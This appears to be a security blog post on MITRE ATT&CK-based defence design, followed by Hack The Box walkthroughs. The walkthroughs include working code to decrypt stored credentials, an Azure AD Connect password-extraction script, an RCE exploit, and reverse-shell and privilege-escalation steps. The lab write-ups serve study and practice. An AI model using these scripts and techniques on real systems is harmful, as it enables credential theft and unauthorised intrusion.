Architecting for the kill chain

MITRE ATT&CK framework can be a great resource for tracking and reviewing the kill chain and methodology used by threat actors, as part of a recent move to security architecture I got interested in how to design defence in depth that is mapped to adversarial threat actors kill chains and MITRE so I could better review where controls were weak and what mitigations could be put in place. Using AttackIQ I found some decent resources.

For this MITRE ATT&CK is a global and free tool, which is an impressive way to look through the different tactics, techniques and procedures used by Advanced Persistent Threat actors worldwide. Tactics are the technical goals under MITRE, techniques are how the goal is achieved and procedures are the specific implementations of techniques. Using this we can identify our crown jewels to protect and identify the procedures and techniques to layer our defences around.

Before we go into MITRE, we need to understand how to help structure our approach for designing our defences. We will be looking at the standard methodology of Plan – Design – Implement – Measure.


With the plan phase we should review business objectives, and threats (known and assumed) – ideally theses should be tracked as current risks in the risk register, and the resources available to us. Here we look at the frameworks we want to use (SANS CC, NIST CSF), regulatory drivers (NIS-D) and contractual requirements. To ensure it covers our threats we must make sure we gather information through Threat Intelligence or other methods on what our threats are. This information should feed our overall strategy and include:

  • Your organisations security team.
  • Third party sources like MITRE, CISA and Searchlight.
  • Manual searches through Shodan, Google or darknet forums.

For MITRE we can use our teams and understanding of the organisations industry to identify the threats and APTs facing your organisation and then using the TTPs for those groups we can start identifying mitigating controls. A group I picked at random is APT12, here we can see this group uses:

  • Spear Phishing with malicious attachments (Initial Access).
  • Exploitation for Client Execution and Malicious Files (Execution).
  • DNS Calculation and Bidirectional Communication (Command and Control).

Reviewing all the threat groups in MITRE that could target your organisation and try to pick out commonalities its TTP for designing the controls needed. While MITRE can give us the generalised information on adversaries, purple teaming can really build on this to give the business specific context. By linking in your SOC heroes and Vulnerability villains you can produce a better understanding of how the MITRE threats and TTPs can fit within your organisations existing defences which can help build more efficient controls around them.

Breach & Attack Simulator tools can also be used with wargaming and tabletop exercises to help tie together the strategy and highlight gaps that need addressing.


With the strategy of what we need to do completed we must now turn this into a blueprint with tooling requirements, processes defined and drawn up, the operating model that will govern the programme and any other items that need to be considered to protect against the adversaries. The best design would follow a process and people-based approach before looking at tools to supplement and automate the controls.

MITRE can assess this as it lists recommended mitigations for the threat actors TTP’s. While these can be high level it can be helpful to use them as the base of our Design framework. MITRE’s Vendor Evaluations can be used to supplement traditional vendor assessment reviews like Gartner to help tie tooling into the mitigations to specific TTP’s.

Using the BAS tools and wargames from the planning stage we can tie these assessments into our tool assessments to get the right mixture of technologies for the organisation’s threats.


During this phase we document our policies, procedures and put in place our processes. Staff upskilling takes place, and any tools are acquired and deployed. At each stage of the implementation process and with each new tool that is deployed BAS and Wargames should be conducted for continuous assessments to make sure to tooling selection from the design phase and the strategic decisions from the Planning stage are having the desired effect.


If it cannot be measured it does not exist. A hard learned lesson by many auditors but a valuable one. After the program has been successfully planned, mapped out and deployed we then must define or SLA’s, KPIs and other metrics to ensure each part is operating effectively – doing this early can ease the turmoil of SOC 2 and other Control Effectiveness audits.

The measure phase is the BAU phase an includes managing, operating, and maintaining the security posture and most have a feedback loop back to the planning phase. Continually reviewing the effectiveness of the controls against new and emerging threats with the expertise of the organisation’s security teams, using wargaming and BAS to assist can ensure security does not stand still and continually improves. TRAM can also be leveraged to improve the mapping as an open-source tool that can tie threat intelligence into MITRE’s ATT&CK framework.


One of VBScripts boxes on windows focuses heavily on reversing applications to crack credentials.

Run Nmap

Only 445 is open? Lets run again with the -p- flag to confirm, feeling like another evil-winrm box.

Foothold Enumeration

Running a quick nmap scan for vulnerabilities doesn’t give us anything.

We get the hostname.

Enum4Linux doesn’t get us much, access is denied for most checks.

Smbclient gives us the directories so lets play around and see whats here.

We can access secure but not the actual files.

We don’t have access to any of the Users directories.

And SMBmap doesn’t give us anything to work with.

We switch to windows and map a drive to quickly run through it and we find the foothold credentials in the Data folder.

And we have our foothold with the TEMPUSER user.

User enumeration

We have greater access with tempuser so lets keep going through files.

In the Notepad++ config we can see C.Smith has a history file in \Secure$\

We cant list the IT folder but we know Carl\ exists..

We take a chance at trying to go to Carls directory and awesome we have some permissions to this directory.. lets see whats in here…

first few files are useless but it looks like carl has hardcoded some of his credentials for a VB program in RU_Config.xml.

We can see many Public Property Username/password references in different files but nothing we can use..

We find the RU_Config.xml file in the Data fileshare.

Sure enoughh we find the user and a hashed or encrypted password. None of the files we saw earlier had extra information for us but we did find some interesting vb files that seem relevant. We go through them and find some interesting cryptography functions;

Key pieces of information we will need are

    dim cipherText As String="fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="
    dim passPhrase As String="N3st22"
    dim saltValue As String="88552299"
    dim passwordIterations AS INTEGER=2 
    dim initVector As String="464R5DFA5DL6LE28"
    dim keySize AS INTEGER=256

So we now have the information we need, we know how the tool encrypts and decrypts passwords and we have the hardcoded default salts etc. We build the below code in visual studio, using the RU-Scanner code as the base.

Imports System
Imports System.IO
Imports System.Text
Imports System.Security.Cryptography
Imports System.Text.Encoding
Imports Microsoft.VisualBasic
Module Program
    Sub Main()
        Dim cipherText As String = "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="
        Dim passPhrase As String = "N3st22"
        Dim saltValue As String = "88552299"
        Dim passwordIterations As Integer = 2
        Dim initVector As String = "464R5DFA5DL6LE28"
        Dim keySize As Integer = 256

        Dim initVectorBytes As Byte()
        initVectorBytes = System.Text.Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = System.Text.Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = System.Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length)


        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, 0, decryptedByteCount)

    End Sub
End Module

Running this we see the password as xRxRxPANCAK3SxRxRx

We have the user flag.

Enumerating User 2

Now we have user 2 lets go back to enumerating the SMB shares. SMB is still the only tool we can use, the box is fun but very CTFish.

Looks like there is a port open for HQK queries that our NMAP missed.

Running strings against the HQKLDAP.exe file we found doesn’t give us much information but when we disassemble it, we see the version is 1.2.0 but googling suggests this isn’t a real tool so we shouldn’t expect public exploits.

Decompiling the exe and going through the code doesn’t give us any answers.

Our Nmap scan on the port gives us feedback including commands we can post to the server on that port. Maybe telnet is the answer here?

So it looks like we have a simple interface with this service through telnet, We have an option to debug the service but will need a password to do so. Carls password isn’t helping us, so we go back to the empty text file we found and see if it has the password.

After poking around with the file we find a handy smb command, allinfo which shows us 2 streams, including 1 password stream with 15 bytes.

 We try to get this stream and we have potentially gotten a password; WBQ201953D8w . Lets try it with telnet first and if it isn’t accepted we will need to check the exe code to see what we need to do.

It is accepted. We have 3 new commands, Service, Session and ShowQuery.

So we can see some info for the queries but nothing that helps us, we also cannot leave the 1-3 range of the app.

We cant seem to run any of these queries.

We also cant navigate to the network location. Lets review the decompiled .exe we found in carls home directory again. We see a cryptography section in the code that mimics the functionality we used to get user but the method it uses, IV and salt etc are slightly different but even if we know how to decrypt this password and we still need to find the password hash.

After scratching our head for awhile we realise we can use the showquery, list and setdir commands to navigate around the application director and doing this we find the administrator credentials including an encrypted password= yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Decrypt
    class decrypt
        static void Main(string[] args)
            string cipherText = "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=";
            string passPhrase = "667912";
            string saltValue = "1313Rf99";
            int passwordIterations = 3;
            string initVector = "1L1SA61493DRV53Z";
            int keySize = 256;

            byte[] bytes1 = Encoding.ASCII.GetBytes(initVector);
            byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
            byte[] buffer = Convert.FromBase64String(cipherText);
            byte[] bytes3 = new Rfc2898DeriveBytes(passPhrase, bytes2, passwordIterations).GetBytes(checked((int)Math.Round(unchecked((double)keySize / 8.0))));
            AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider();
            cryptoServiceProvider.Mode = CipherMode.CBC;
            ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor(bytes3, bytes1);
            MemoryStream memoryStream = new MemoryStream(buffer);
            CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, decryptor, CryptoStreamMode.Read);
            byte[] numArray = new byte[checked(buffer.Length + 1)];
            int count = cryptoStream.Read(numArray, 0, numArray.Length);
            string v = Encoding.ASCII.GetString(numArray, 0, count);
            string plaintext = v;

We put together this C# code using the decompiled source code as a base, and run it.

Success, password for admin is XtH4nkS4Pl4y1nGX.

We login with this credential and are able to get the key!

The big lessons learned here that cost me alot of time was firstly to enumerate all thing things and make note of findings that might not be used till later, and secondly to learn more about the applications i am using, even custom applications as that can help with enumeration.


This box is a mixture of CVEs, mis-configurations and GTFObins

Run Nmap

Quick scan shows us a webserver and ssh are open. We will run a more intensive scan to double check and get dirb running. We also see Nostromo 1.9.6 is the webserver running. While those scans run lets research this.

Run Dirb

Nostromo exploit

We see an RCE; and

Lets give CVE-2019-16278 a try.

We have rce! 😊 Lets try and get a shell before proceeding. Using as a guide we try for a bash shell.

We setup a simple python webserver to host our shell.

We are able to upload our shell to /tmp

We run it

And we get shell! Time to move to user enumeration.

Enumerating for user

We see our target user David.

Going through the server bit by bit e see the Nostromo config file and this give us a lot of good info – the server admin name and the location of the password in .htpasswd.

We have the password hash – now lets crack it!

Running john on the hash gets us the password; Nowonly4me

We arnt able to ssh with these credentials so they must be for something else so lets keep looking.

Checking out the MAN page for nostromos, it looks like we can navigate to the home directories because of how the server is set up. lets try it

The web page itself gave us nothing and after tearing our hair out for several hours we try to cd directly to the directory.. and it works… ouch.

Going through the public_www folder we find a subdirectory that is quite interesting. It looks like we have an ssh key, lets unzip it and get Davids ssh cert.

We have issues running john to crack the password protected rsa key, after some googling we find a script that will run a dictionary attack against the file and we find the pasword to the private key is hunter. Lets try to ssh as David now.

We got user.txt and ssh access to David!

Enumerating to root.

Shortly after starting to explore David we find this shell script that lets us use sudo for the Journalctl command. Dusting off our trusty GTFOBins spellbook we find the incantation we need;

After some playing around we were able to identify the correct place to enter the GTFOBin command and get a root shell. Happy days.

Interesting box, foothold and root was easy but user took ages to figure!


This is an interesting box that mixed lazy admins with the risks of cloud based authentication.

Run nmap

First time in HTB nmap says the host is down. Wonder if somebody has been messing with the box or its part of the challenge. Lets force Nmap to scan even with the box showing its down with -pN as a flag.

Interesting, they have TCPWrappers enabled. We can see that LDAP, SMB, DNS and Kerberos ports are open by looking at the port numbers but there is some obfuscation. As this seems to be a windows box lets enumerate with enum4linux and follow up findings with impacket and see if we can find a way in.


Decent bit of information we now have users – including a juicy sounding SABatchJobs account, the domain and some groups. Maybe we should try some kerbroasting like we learned about with Sauna.

Kerberos enumeration

Reviewing the blog;  and lets use kerbrute to confirm the usernames.

Impacket and kerbroasting seem to be a dead end, so lets try enumerating some more with SMB.

SMB enumeration.

We confirm SMB is running with CME and an additional nmap scan. We recently discovered a new pentesting tool called RPCClient which should give us a low privilege shell. Using this guide, we proceed;

We find additional information on privileges and are able to drill down into the user accounts we found previously, we see only 3 accounts have logged in previously, lets focus on these as we know these are good.

SMB bruteforce

After playing around with these 3 usernames and running into issues with both MSF and CME. Trying rockyou as the password list didnt work for us until we started trying the usernames as password and found SABatchJobs password was SABatchjobs. Bighead would be proud.

We did spend about 3 hours trying to get smbclient to work, the quarantine and coffee shortages are having an impact on my life.. but luckily literally the first thing we checked has the second users password, mhope. I am a ball luck right now! 😊 When we ran cme for winrm we found it was open, so using evil-winrm, a tool we used in a previous HTB, we can try for shell.

Looks like we are successful.

And we have user.

Evil-Winrm enumeration

Starting to enumerate with winrm we check the services and see the big service is SQL running on this box and Azure ADConnect. We will need to enumerate with some scripts though

We upload PowerSploit, and Sherlock.

None of these tools give us anything to work with, box seems solid.

A friend reminds us the use the /all paramete for WhoAmI and it shows us that mhope is in the MEGABANK\Azure Admins group. This stands out as suspicious. But lets enumerate SQL server first as it seems more likely than azure.

Enumerating SQL Server

We can see this is SQL server so lets focus on that. Googling gives us an enum guide we will use as SQL Servers and us are not a good match 😮

Trying the use MSF to log in with mhope doesn’t work. Seems Mhope isnt allowed to access SQL. Going back to googling/researching what we found so far a wild blog suddenly appears that chains our two findings together; Best of all VBScrub wrote it who is a very good hacker who always offers awesome advise on the HTB forums.

The exploit

We read through the original exploit VBScrub linked to; and use his code to create a ps1 file, reading through the code, doesn’t seem to be anything we will need to change. But now lets upload it with winrm and execute.. lets see what happens.

We upload it as normal and when we run it evil winrm cuts out. We didnt think of this at the time but we should have loaded the module into Evil-WinRm but we didnt realise our mistake. We did notice it was showing the file being execute from my kali machine. Reading back over the blog we see that “you also need to make sure the mcrypt.dll from the download link is in the same directory the program is in.” we try this and try adding mcrypt.dll to our path, but neither is successful, keeps cutting out.

We decided to run the following code that we found line by line, its different to the above as it hardcodes the mcrypt.dll location;

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = $server; Database = $db; Initial Catalog=$db; 
Integrated Security = True;"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)

add-type -path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}

"[+] Domain:  " + $domain.Domain
"[+] Username: " + $username.Username
"[+]Password: " + $password.Password

This is pretty awesome, we get the credentials.

And we are admin with the root.txt 🙂


Remote is a windows box that supposedly has a hard user and easy root. It has one official way to get root shell and one unofficial way. We came across both ways but were only proceeded with the official way

Run Nmap

Jesus that’s a messy port setup. Port 111 seems focused on NFS, lets try there.

Connect to nsf

Seems we have a full site backup including, we will probably find default credentials or stored credentials somewhere– its an easy box remember! 😊 It seems to be a CMS hosting multiple sites so lets learn about the app and see what can help us get in.

Checking for credentials.

We google the CMS software Umbraco and its version. Using the Q&A in the above link we can find that all credentials are stored in the App_Data folder in a database. When we go there we see a db file with a SDF extension. We use strings on this and send the output to a file to review.

Going through the file we see;

adminadmin@htb.local b8be16afba8c314ad33d812f22a04991b90e2aaa {"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50

We can see in the strings we have the usernames and password hashes we just need to crack.

"admin" <admin@htb.local> "ssmith" <smith@htb.local>umbraco/user/saveupdating Name, Key, Groups, UpdateDate; groups assigned: writer
User "admin" <admin@htb.local> "admin" <admin@htb.local>umbraco/user/sign-in/logoutlogout success
User "SYSTEM" "ssmith" <smith@htb.local>umbraco/user/saveupdating LastLoginDate, UpdateDate
User "SYSTEM" "ssmith" <smith@htb.local>umbraco/user/sign-in/loginlogin success
User "ssmith" <smith@htb.local> "ssmith" <smith@htb.local>umbraco/user/sign-in/logoutlogout success

Going to the application logs in the smb share we can also see ssmith logging into the umbraco CMS and making db changes, guessing this is a web user rather than OS user.

Further searches show a FileUploads directory, which together with the user credentials we have found should be our way in – is it possible we need to upload a reverse shell and execute it through the site? The BodyPart file there looks to confirm this as it is not a default file from the HTB creator, instead it is another participants Webshell. This seems to confirm our way in, but is a disappointing spoiler.

Crack the hash

We will feed the hashes we found into

.. and we get the password for admin but unless we can figure out the encoding for ssmith, we wont know it. Lets see where the admin control panel is on the website so we can login.


That’s lot of website in this website. Man.. look at all that website. It appears several sites run off this CMS. Navigating through our findings we see a login link in the contact us page that helps us ;

The webapp

We are able to login

Let enumerate through the site.

There is very little to play with but we do get confirmation of the version of Umbraco.

Checking the CMS with get an authenticated RCE for this version! 😀

Exploiting to User

It says there is one MSF RCE and one auth RCE, I wonder if these are the same, lets try it.

The MSF vuln is for a different version so lets run our exploit

We cant run the script because it has some windows based formatting. We could run dos2unix but we don’t have it installed so lets just remove the formatting options with vim. The script still doesnt work for us.We get an error – lesson stands we always need to read through our scripts when using them to understand what they are doing – It seems this is because we need to edit the variables in the script. The comments in the script give a good description of whats happening in the exploit.

We update the target, user name and password and review the commands it give. Lets try dir, to see if we get a return.

We see it executing with no errors but we don’t see the output.  Reviewing the payload we put print(x) for each variable and walk ourselves through the code and by changing the payload to execute a command (or argument) with the FileName “Powershell.exe” parameter and by including a print(r4.contents) command we can both execute commands and view their results.

It works! It should be noted this is a horrible way to hack. As its an RCE and not a shell for every new command we want to run we must edit the script.Painful. So first lets enumerate abit and see what user we are and if we have userflag.

Exploring the user directories we get a nice, if random, suprise when we find the user flag in the C:/Users/Public directory.

Privilege Escalation

We have the user flag which means we have the expected user and we just need to escalate it to root now. Testing what we can do with this command we see we can ping kali vm, maybe we need to execute some command on the server that will connect to us remotely and download the webshell. Maybe we should setup ftp or a webserver for this. We found an instance of antak webshell earlier on during enumeration and it is a good contender over what we would normally use as it has full PS functionality;

Reading up on this webshell doesnt give us many answers so we grab a handy privesc guide and start enuming using and

Enumerating by RCE is painful, so painful, and we arnt finding much to work with. We can see TeamViewer is installed and there are several interesting services running. USOSVC specifically is mentioned in the PrivEsc guide i linked to above.

We setup a quick python webserver and put a nc.exe file there. We need a way to pull the nc onto our victim, and USOSVC may be the way.

After reading up on what commands we can feed into USOSVC using sc.exe we create 3 python RCE scripts, to stop USOSVC, to set the cmd to pull down our hosted NC file and execute powershell and finally to start USOSVC.

Running these commands and using Public as our write location we see it is successful but for some reason it is not working for us, our nc listens in vain. Trying a different route we find a blog that shows teamviewer 7 stores a password in the registry that can be decrypted; it even gives us a decrypt python script 🙂

Manually going through the registry keys until we find TeamViewer we can see the credentials as described in the blog;

SecurityPasswordAES    REG_BINARY    FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B

Reading through the python script in the link we can see, using the hard coded IV and key we can decrypt it using pythons AES Cipher library.   

We have our password .. so simple but the enumeration to get this far took days! 😮 Lets use to login

And we have root! 🙂 Key is in Administrators Desktop as expected.